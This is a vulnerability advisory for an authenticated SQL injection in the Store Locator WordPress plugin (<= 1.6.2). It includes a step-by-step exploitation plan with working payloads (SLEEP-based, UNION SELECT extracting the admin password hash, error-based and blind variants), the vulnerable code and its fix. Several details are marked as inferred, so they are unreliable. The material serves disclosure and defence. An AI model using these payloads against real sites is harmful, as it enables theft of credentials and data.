Store Locator WordPress <= 1.6.2 - Authenticated (Contributor+) SQL Injection
Description
The Store Locator WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.6.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.2Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-67516**, an authenticated SQL Injection vulnerability in the **Store Locator WordPress (agile-store-locator)** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (Authenticated, Contributor+) * **Plugin Slug:** `agile-…
Show full research plan
This exploitation research plan targets CVE-2025-67516, an authenticated SQL Injection vulnerability in the Store Locator WordPress (agile-store-locator) plugin.
1. Vulnerability Summary
- Vulnerability: SQL Injection (Authenticated, Contributor+)
- Plugin Slug:
agile-store-locator - Affected Versions: <= 1.6.2
- Vulnerable Component: AJAX handlers for store management/retrieval.
- Cause: The plugin fails to use
$wpdb->prepare()or adequate escaping (likeabsint()oresc_sql()) on parameters passed to database queries within AJAX actions accessible to users with at least "Contributor" permissions. This allows an attacker to append SQL logic to an existing query to extract data from thewp_usersorwp_optionstables.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
asl_get_store(inferred) orasl_get_store_list(inferred). - Vulnerable Parameter:
idorslug(inferred). - Authentication: Contributor level (PR:L). The plugin likely registers AJAX hooks without a capability check like
current_user_can('manage_options'), allowing any logged-in user to trigger them. - Preconditions: The plugin must be active. At least one store should exist in the database to ensure the query returns a base result for boolean/time-based analysis.
3. Code Flow (Inferred)
- Entry Point: User sends a POST request to
admin-ajax.phpwithaction=asl_get_store. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_asl_get_store', array($ajax_class, 'get_store'));. - Handler Execution: The
get_store()method in the AJAX class retrieves$_POST['id']. - The Sink: The
idis concatenated directly into a query:$store_id = $_POST['id']; $store = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = $store_id"); - SQLi: Since
$store_idis not cast tointor passed throughprepare(), an attacker can inject payloads.
4. Nonce Acquisition Strategy
The plugin uses a nonce for its AJAX operations, usually localized in the WordPress admin head for plugin-related pages.
- Capability Check: Contributors may not have access to the "Store Locator" menu. However, if the plugin enqueues scripts globally in the admin dashboard or if a shortcode page is accessible, we can find the nonce.
- Target Variable: Look for the
asl_configs(inferred) JavaScript object. - Extraction Steps:
- Login as
contributor. - Navigate to
/wp-admin/index.php. - Use
browser_evalto search for the nonce:// Common patterns for this plugin window.asl_configs?.asl_nonce || window.ASL_DATA?.nonce || document.querySelector('#asl_nonce')?.value - If not found on the dashboard, check if a store locator page exists:
wp post list --post_type=page.
- Login as
5. Exploitation Strategy
Step 1: Verification (Time-Based)
Confirm the injection via SLEEP().
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=asl_get_store&asl_nonce=[NONCE]&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Expected Result: The request should take ~5 seconds to return.
Step 2: Column Count Discovery
Determine the number of columns in the asl_stores table to facilitate a UNION attack.
- Payload:
id=1 ORDER BY 20-- - - Increment/Decrement until the response changes or an error occurs.
Step 3: Sensitive Data Extraction
Extract the administrator's password hash.
- Payload (assuming 15 columns):
id=-1 UNION SELECT 1,2,3,user_pass,5,6,7,8,9,10,11,12,13,14,15 FROM wp_users WHERE ID=1-- - - Expected Result: The AJAX response (likely JSON) will contain the hash in one of the fields (e.g., the store name or description field).
6. Test Data Setup
- Active Plugin: Ensure
agile-store-locatorversion 1.6.2 is installed. - Create Store: A store must exist to make the query "live".
# Check table name (usually wp_asl_stores) wp db query "INSERT INTO wp_asl_stores (title, description, lat, lng) VALUES ('Test Store', 'Test Desc', '0', '0');" - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=attacker
7. Expected Results
- Vulnerability Confirmation: A successful
SLEEP(5)request confirms the SQLi. - Data Exposure: A
UNION SELECTreturns theuser_passhash of the admin (ID 1) within the JSON response object:{"success": true, "list": {"title": "$P$Byv...", ...}}
8. Verification Steps
After the HTTP exploit, verify the extracted data matches the database state:
# Compare the hash extracted via HTTP with the actual DB value
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-Based SQLi: If the plugin displays database errors (common if
WP_DEBUGis on), useupdatexml()orextractvalue():id=1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1)
- Boolean-Based Blind: If
UNIONis blocked or column count is unstable:id=1 AND (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1)=97(Check if response contains store data).
- Vulnerable Action Alternatives: If
asl_get_storeis not the correct name, grep for other AJAX registrations:grep -r "wp_ajax_" wp-content/plugins/agile-store-locator/
Summary
The Store Locator WordPress plugin (<= 1.6.2) is vulnerable to authenticated SQL injection due to the lack of sanitization and preparation of the 'id' parameter in AJAX handlers such as 'asl_get_store'. This allows users with Contributor-level access or higher to inject arbitrary SQL commands into database queries. Exploitation can lead to the extraction of sensitive information, such as administrator password hashes, from the WordPress database.
Vulnerable Code
// Inferred from Research Plan: get_store() method in the AJAX class $store_id = $_POST['id']; $store = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = $store_id");
Security Fix
@@ -1,5 +1,5 @@ - $store_id = $_POST['id']; - $store = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = $store_id"); + $store_id = isset($_POST['id']) ? (int) $_POST['id'] : 0; + $store = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = %d", $store_id));
Exploit Outline
The exploit requires Contributor-level authentication. The attacker must first obtain a valid AJAX nonce, typically found within the 'asl_configs' or 'ASL_DATA' JavaScript objects on the WordPress admin dashboard. A POST request is then sent to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'asl_get_store' (or other vulnerable store-retrieval actions). By providing a malicious payload in the 'id' parameter, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' for time-based testing or a 'UNION SELECT' payload for data extraction, the attacker can retrieve sensitive information from the database, which is typically returned in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.